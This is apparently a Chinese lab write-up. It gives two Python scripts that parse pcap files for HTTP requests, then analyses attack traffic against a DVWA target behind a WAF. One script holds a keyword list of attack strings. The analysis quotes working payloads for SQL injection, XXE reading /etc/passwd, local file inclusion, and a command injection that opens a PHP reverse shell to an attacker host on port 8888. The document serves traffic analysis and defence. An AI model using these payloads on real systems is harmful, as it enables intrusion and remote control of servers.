1.pcap解析脚本
1.1提取攻击流量
"""
提取攻击流量 - 只显示 docker0/kali 视角的攻击请求
"""
import struct
import sys
import os
HTTP_METHODS = (b'GET ', b'POST ', b'PUT ', b'DELETE', b'HEAD ', b'OPTIONS', b'PATCH ')
def parse_pcap_global_header(f):
header = f.read(24)
if len(header) < 24:
return None, False
magic = header[:4]
if magic == b'\xd4\xc3\xb2\xa1':
swap = False
elif magic == b'\xa1\xb2\xc3\xd4':
swap = True
else:
return None, False
if swap:
link_type = struct.unpack('>I', header[20:24])[0]
else:
link_type = struct.unpack('<I', header[20:24])[0]
return link_type, swap
def parse_packet_record(f, swap):
rec_header = f.read(16)
if len(rec_header) < 16:
return None
if swap:
incl_len = struct.unpack('>I', rec_header[8:12])[0]
else:
incl_len = struct.unpack('<I', rec_header[8:12])[0]
pkt_data = f.read(incl_len)
if len(pkt_data) < incl_len:
return None
return pkt_data
def extract_tcp_payload(pkt_data, link_type):
try:
offset = 0
if link_type == 1:
if len(pkt_data) < 14:
return None
eth_type = struct.unpack('>H', pkt_data[12:14])[0]
offset = 14
if eth_type == 0x8100:
eth_type = struct.unpack('>H', pkt_data[16:18])[0]
offset = 18
if eth_type != 0x0800:
return None
elif link_type == 113:
if len(pkt_data) < 16:
return None
proto = struct.unpack('>H', pkt_data[14:16])[0]
offset = 16
if proto != 0x0800:
return None
elif link_type == 101:
offset = 0
else:
offset = 0
if len(pkt_data) < offset + 20:
return None
ip_ver = (pkt_data[offset] >> 4) & 0xF
if ip_ver == 4:
ihl = (pkt_data[offset] & 0xF) * 4
proto = pkt_data[offset + 9]
if proto != 6:
return None
ip_src = '.'.join(str(b) for b in pkt_data[offset + 12:offset + 16])
ip_dst = '.'.join(str(b) for b in pkt_data[offset + 16:offset + 20])
tcp_offset = offset + ihl
elif ip_ver == 6:
if len(pkt_data) < offset + 40:
return None
proto = pkt_data[offset + 6]
if proto != 6:
return None
ip_src = '::'
ip_dst = '::'
tcp_offset = offset + 40
else:
return None
if len(pkt_data) < tcp_offset + 20:
return None
sport = struct.unpack('>H', pkt_data[tcp_offset:tcp_offset + 2])[0]
dport = struct.unpack('>H', pkt_data[tcp_offset + 2:tcp_offset + 4])[0]
data_offset = ((pkt_data[tcp_offset + 12] >> 4) & 0xF) * 4
payload_offset = tcp_offset + data_offset
payload = pkt_data[payload_offset:]
if len(payload) == 0:
return None
return {
'src': f'{ip_src}:{sport}',
'dst': f'{ip_dst}:{dport}',
'payload': payload
}
except Exception:
return None
def is_http_request(payload):
for method in HTTP_METHODS:
if payload.startswith(method):
return True
return False
def is_attack_request(request_line, path):
"""判断是否为攻击请求(包含 /vulnerabilities/ 或可疑 payload)"""
attack_keywords = [
'/vulnerabilities/', 'union', 'select', 'or 1=1', "or '1",
'<script', 'alert', 'onerror', 'onload', 'javascript:',
'../', 'etc/passwd', 'php://', 'file=',
';cat', ';id', ';ls', '|cat', '|id', '|ls', '$(', '`',
'<?xml', 'ENTITY', 'DOCTYPE', 'SYSTEM',
'exec(', 'system(', 'passthru',
]
text = request_line + ' ' + path
text_lower = text.lower()
for kw in attack_keywords:
if kw.lower() in text_lower:
return True
return False
def extract_request_info(payload):
"""提取请求行、路径、Host和body"""
try:
text = payload.decode('utf-8', errors='replace')
except:
text = payload.decode('latin-1', errors='replace')
lines = text.split('\n')
request_line = lines[0].strip('\r') if lines else ''
host = ''
cookie = ''
body = ''
body_started = False
body_lines = []
for line in lines[1:]:
stripped = line.strip('\r')
if body_started:
body_lines.append(stripped)
continue
if stripped == '':
body_started = True
continue
if stripped.lower().startswith('host:'):
host = stripped
elif stripped.lower().startswith('cookie:'):
# 只截取前200字符的cookie
cookie = stripped[:200]
if body_lines:
body = '\n'.join(body_lines)[:2048]
path = request_line.split(' ')[1] if ' ' in request_line else ''
return request_line, path, host, cookie, body
def process_pcap(filepath, attack_only=True):
results = []
try:
with open(filepath, 'rb') as f:
link_type, swap = parse_pcap_global_header(f)
if link_type is None:
return results, '无法识别'
pkt_count = 0
http_count = 0
attack_count = 0
while True:
pkt_data = parse_packet_record(f, swap)
if pkt_data is None:
break
pkt_count += 1
tcp_info = extract_tcp_payload(pkt_data, link_type)
if tcp_info is None:
continue
if not is_http_request(tcp_info['payload']):
continue
http_count += 1
request_line, path, host, cookie, body = extract_request_info(tcp_info['payload'])
if attack_only and not is_attack_request(request_line, path):
continue
attack_count += 1
results.append({
'src': tcp_info['src'],
'dst': tcp_info['dst'],
'request_line': request_line,
'host': host,
'cookie': cookie,
'body': body,
})
return results, f'{pkt_count}包/{http_count}HTTP请求/{attack_count}攻击请求'
except Exception as e:
return results, f'错误: {e}'
def main():
base_dir = os.path.dirname(os.path.abspath(__file__))
pcap_files = []
for root, dirs, files in os.walk(base_dir):
for f in files:
if (f.endswith('.pcap') or f.endswith('.pcapng')):
# 跳过 safeline 文件(WAF内部流量)
if 'safeline' in f.lower():
continue
pcap_files.append(os.path.join(root, f))
pcap_files.sort()
for filepath in pcap_files:
rel_path = os.path.relpath(filepath, base_dir)
vuln_type = os.path.dirname(rel_path)
print(f'\n{"="*90}')
print(f'【{vuln_type}】 {os.path.basename(filepath)}')
print(f'{"="*90}')
results, status = process_pcap(filepath, attack_only=True)
print(f'统计: {status}\n')
if not results:
print(' [未检测到特征攻击请求,尝试显示所有HTTP请求]')
results, status = process_pcap(filepath, attack_only=False)
print(f'统计(全部): {status}\n')
if not results:
print(' [无HTTP请求]')
continue
for i, r in enumerate(results, 1):
print(f' #{i} {r["request_line"]}')
if r['host']:
print(f' {r["host"]}')
if r['cookie']:
print(f' Cookie: {r["cookie"][:120]}...' if len(r['cookie']) > 120 else f' Cookie: {r["cookie"]}')
if r['body']:
print(f' BODY: {r["body"][:500]}')
print()
if __name__ == '__main__':
main()
1.2提取HTTP请求内容
"""
纯 Python pcap 解析器 - 提取 HTTP 请求内容
无需任何第三方依赖,直接解析 pcap 二进制格式
"""
import struct
import sys
import os
import glob
# HTTP 方法
HTTP_METHODS = (b'GET ', b'POST ', b'PUT ', b'DELETE', b'HEAD ', b'OPTIONS', b'PATCH ', b'TRACE ', b'CONNECT')
def parse_pcap_global_header(f):
"""解析 pcap 全局头,返回 (link_type, swap)"""
header = f.read(24)
if len(header) < 24:
return None, False
magic = header[:4]
if magic == b'\xd4\xc3\xb2\xa1': # little-endian
swap = False
elif magic == b'\xa1\xb2\xc3\xd4': # big-endian
swap = True
else:
return None, False
# version_major(2), version_minor(2), thiszone(4), sigfigs(4), snaplen(4), network(4)
if swap:
link_type = struct.unpack('>I', header[20:24])[0]
else:
link_type = struct.unpack('<I', header[20:24])[0]
return link_type, swap
def parse_packet_record(f, swap):
"""解析单个 packet record,返回 (pkt_data) 或 None"""
rec_header = f.read(16)
if len(rec_header) < 16:
return None
if swap:
incl_len = struct.unpack('>I', rec_header[8:12])[0]
else:
incl_len = struct.unpack('<I', rec_header[8:12])[0]
pkt_data = f.read(incl_len)
if len(pkt_data) < incl_len:
return None
return pkt_data
def extract_tcp_payload(pkt_data, link_type):
"""从链路层逐层解封装到 TCP payload"""
try:
offset = 0
# 链路层
if link_type == 1: # Ethernet
if len(pkt_data) < 14:
return None
eth_type = struct.unpack('>H', pkt_data[12:14])[0]
offset = 14
if eth_type == 0x8100: # 802.1Q VLAN
eth_type = struct.unpack('>H', pkt_data[16:18])[0]
offset = 18
if eth_type != 0x0800: # 非 IPv4
return None
elif link_type == 113: # Linux SLL
if len(pkt_data) < 16:
return None
proto = struct.unpack('>H', pkt_data[14:16])[0]
offset = 16
if proto != 0x0800:
return None
elif link_type == 101: # Raw IP
offset = 0
else:
# 尝试直接当作 raw IP
offset = 0
# IP 层
if len(pkt_data) < offset + 20:
return None
ip_ver = (pkt_data[offset] >> 4) & 0xF
if ip_ver == 4:
ihl = (pkt_data[offset] & 0xF) * 4
total_len = struct.unpack('>H', pkt_data[offset + 2:offset + 4])[0]
proto = pkt_data[offset + 9]
if proto != 6: # 非 TCP
return None
ip_src = '.'.join(str(b) for b in pkt_data[offset + 12:offset + 16])
ip_dst = '.'.join(str(b) for b in pkt_data[offset + 16:offset + 20])
tcp_offset = offset + ihl
elif ip_ver == 6:
if len(pkt_data) < offset + 40:
return None
proto = pkt_data[offset + 6]
if proto != 6:
return None
total_len = struct.unpack('>H', pkt_data[offset + 4:offset + 6])[0]
ip_src = '::'.join('%x' % struct.unpack('>H', pkt_data[offset + 8 + i * 2:offset + 8 + i * 2 + 2])[0] for i in range(8))
ip_dst = '::'.join('%x' % struct.unpack('>H', pkt_data[offset + 24 + i * 2:offset + 24 + i * 2 + 2])[0] for i in range(8))
tcp_offset = offset + 40
else:
return None
# TCP 层
if len(pkt_data) < tcp_offset + 20:
return None
sport = struct.unpack('>H', pkt_data[tcp_offset:tcp_offset + 2])[0]
dport = struct.unpack('>H', pkt_data[tcp_offset + 2:tcp_offset + 4])[0]
data_offset = ((pkt_data[tcp_offset + 12] >> 4) & 0xF) * 4
payload_offset = tcp_offset + data_offset
payload = pkt_data[payload_offset:]
if len(payload) == 0:
return None
return {
'src': f'{ip_src}:{sport}',
'dst': f'{ip_dst}:{dport}',
'payload': payload
}
except Exception:
return None
def is_http_request(payload):
"""判断 TCP payload 是否以 HTTP 方法开头"""
for method in HTTP_METHODS:
if payload.startswith(method):
return True
return False
def extract_http_text(payload, max_len=2048):
"""提取 HTTP 请求关键内容(请求行+Host+POST body,截断超长内容)"""
try:
text = payload.decode('utf-8', errors='replace')
except Exception:
text = payload.decode('latin-1', errors='replace')
lines = text.split('\n')
# 过滤掉浏览器噪音头,只保留关键行
keep_headers = ('GET ', 'POST ', 'PUT ', 'DELETE ', 'HEAD ', 'OPTIONS ', 'PATCH ',
'Host:', 'Content-Type:', 'Content-Length:', 'Cookie:')
filtered = []
body_started = False
body_lines = []
for line in lines:
stripped = line.strip('\r')
if body_started:
body_lines.append(stripped)
continue
if stripped == '':
body_started = True
continue
if any(stripped.startswith(h) for h in keep_headers):
filtered.append(stripped)
# 如果是 POST,保留 body(最多 1024 字符)
if body_lines:
body_text = '\n'.join(body_lines)
if len(body_text) > 1024:
body_text = body_text[:1024] + '... [truncated]'
filtered.append('--- BODY ---')
filtered.append(body_text)
result = '\n'.join(filtered)
if len(result) > max_len:
result = result[:max_len] + '\n... [truncated]'
return result
def process_pcap(filepath):
"""处理单个 pcap 文件,返回 HTTP 请求列表"""
results = []
try:
with open(filepath, 'rb') as f:
link_type, swap = parse_pcap_global_header(f)
if link_type is None:
return results, '无法识别的 pcap 格式'
pkt_count = 0
http_count = 0
while True:
pkt_data = parse_packet_record(f, swap)
if pkt_data is None:
break
pkt_count += 1
tcp_info = extract_tcp_payload(pkt_data, link_type)
if tcp_info is None:
continue
if is_http_request(tcp_info['payload']):
http_count += 1
http_text = extract_http_text(tcp_info['payload'])
results.append({
'src': tcp_info['src'],
'dst': tcp_info['dst'],
'text': http_text
})
return results, f'共 {pkt_count} 个数据包,其中 {http_count} 个 HTTP 请求'
except FileNotFoundError:
return results, '文件不存在'
except Exception as e:
return results, f'错误: {e}'
def main():
base_dir = os.path.dirname(os.path.abspath(__file__))
# 查找所有 pcap 文件
pcap_files = []
for root, dirs, files in os.walk(base_dir):
for f in files:
if f.endswith('.pcap') or f.endswith('.pcapng'):
pcap_files.append(os.path.join(root, f))
pcap_files.sort()
if not pcap_files:
print('未找到 pcap 文件')
return
print(f'共发现 {len(pcap_files)} 个 pcap 文件\n')
print('=' * 100)
for filepath in pcap_files:
rel_path = os.path.relpath(filepath, base_dir)
print(f'\n{"=" * 100}')
print(f'文件: {rel_path}')
print(f'{"=" * 100}')
results, status = process_pcap(filepath)
print(f'状态: {status}\n')
if not results:
print(' [无 HTTP 请求]')
continue
for i, r in enumerate(results, 1):
print(f'\n--- HTTP 请求 #{i} ---')
print(f'来源: {r["src"]} -> {r["dst"]}')
print(f'内容:')
print(r['text'])
print('-' * 80)
if __name__ == '__main__':
main()
2.各漏洞流量特征分析
2.1SQL注入
GET /vulnerabilities/sqli/?id=1&Submit=Submit ← 正常探测
GET /vulnerabilities/sqli/?id=1' or '1=1'&Submit=Submit ← 明文注入
GET /vulnerabilities/sqli/?id=1%27+or+%271%3D1&Submit=Submit ← URL编码注入
特征 :id参数后拼接' or '1=1',闭合单引号 + 永真条件。第二次请求做 URL 编码(%27` =`, ` %3D`=` =`),WAF 绕过尝试。
2.2SQL盲注
GET /vulnerabilities/sqli_blind/?id=as&Submit=Submit ← 探测
GET /vulnerabilities/sqli_blind/?id=2&Submit=Submit ← 正常ID
GET /vulnerabilities/sqli_blind/?id=asdasd&Submit=Submit ← 随机字符串
特征 :与普通 SQLi 不同,盲注通过观察页面响应差异判断真伪。请求中参数多样化(字母/数字混合),无明显 payload,但大量不同输入用于基于时间/布尔的盲注探测。
2.3XSS
GET /vulnerabilities/xss_r/?name=%E5%BC%A0%E4%B8%89 ← "张三" UTF-8编码
GET /vulnerabilities/xss_r/?name=%E7%8E%8B%E5%9B%9B ← "王四"
GET /vulnerabilities/xss_r/?name=%E6%88%91%E7%88%B1%E4%BD%A0 ← "我爱你"
GET /vulnerabilities/xss_r/?name=love
特征 :`name` 参数承载 payload,反射型 XSS(`xss_r` )。攻击者先测试中文/英文输入确认参数可控。Kali 端还访问了`fish.html` (钓鱼页面),说明攻击链包含 XSS→钓鱼。
2.4CSRF
GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
Cookie: PHPSESSID=gteusiihigf5tnjf1n1cfmdce0; security=low
特征 :GET 请求修改密码(`password_new` =`password_conf` =`password` ),关键在于 携带受害者 Cookie (`PHPSESSID` )。攻击者诱导受害者访问恶意页面`update.html` ,浏览器自动附带 Cookie 完成跨站请求。无 token 防护(`security=low` )。
2.5文件上传
POST /vulnerabilities/upload/ (multipart/form-data)
Content-Disposition: form-data; name="uploaded"; filename="1712661380595.jpg"
Content-Type: image/jpeg
<PNG文件头: \x89PNG...> ← 实际是 PNG 图片马
特征 :multipart/form-data上传,文件名伪装为.jpg但内容是 PNG 图片(图片马),绕过 Content-Type 检查。MAX_FILE_SIZE=100000。
2.6文件包含
GET /vulnerabilities/fi/?page=file1.php ← 本地文件包含
GET /vulnerabilities/fi/?page=include.php
GET /vulnerabilities/fi/?page=file2.php
特征 :page参数直接包含 PHP 文件,LFI 漏洞。DVWA low 级别无过滤,可遍历../../etc/passwd 、php://filter等。
2.7命令注入
POST /vulnerabilities/exec/ BODY: ip=127.0.0.1&Submit=Submit ← 正常ping
POST /vulnerabilities/exec/ BODY: ip=192.168.150.2&Submit=Submit ← 正常ping
POST /vulnerabilities/exec/ BODY: ip=127.0.0.1%3Bphp+-r+'$sock=fsockopen("192.168.150.2",8888);exec("sh<&3 >&3 2>&3");'&Submit=Submit
特征 :`ip` 参数后用`;` 分隔(URL编码`%3B` ),注入 PHP 反弹 shell 命令:`fsockopen` 连接攻击机 8888 端口 +`exec("sh <&3 >&3 2>&3")` 将 shell 重定向到 socket。
2.8XXE注入
POST /doLogin.php BODY: <user><username>abc</username><password>abc</password></user> ← 正常XML
POST /doLogin.php BODY: <?xml version="1.0"?>
<!DOCTYPE username [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<user><username>username;&test;</username><password>password</password></user>
特征 :XML 请求体中注入DOCTYPE +ENTITY ,通过SYSTEM "file:///etc/passwd"读取系统文件(OOB/经典 XXE)。第二条尝试SYSTEM "whoami"执行命令。
2.9爆破
GET /vulnerabilities/brute/?username=admin&password=admin&Login=Login
GET /vulnerabilities/brute/?username=admin&password=test&Login=Login
GET /vulnerabilities/brute/?username=admin&password=manager&Login=Login
...(共 515 次请求)
特征 :固定username=admin ,遍历密码字典(admin/test/manager/ftp/weblogic/wangchao/liyan 等中英文混合字典),高频 GET 请求爆破 DVWA 登录。同一PHPSESSID保持会话。
所有攻击均针对 DVWA 靶场,通过docker0.pcap可看到后端真实收到的请求,通过safeline.pcap 可对比 WAF 是否拦截。命令注入的反弹 shell payload 最具危害性。
384



被折叠的 条评论
为什么被折叠?



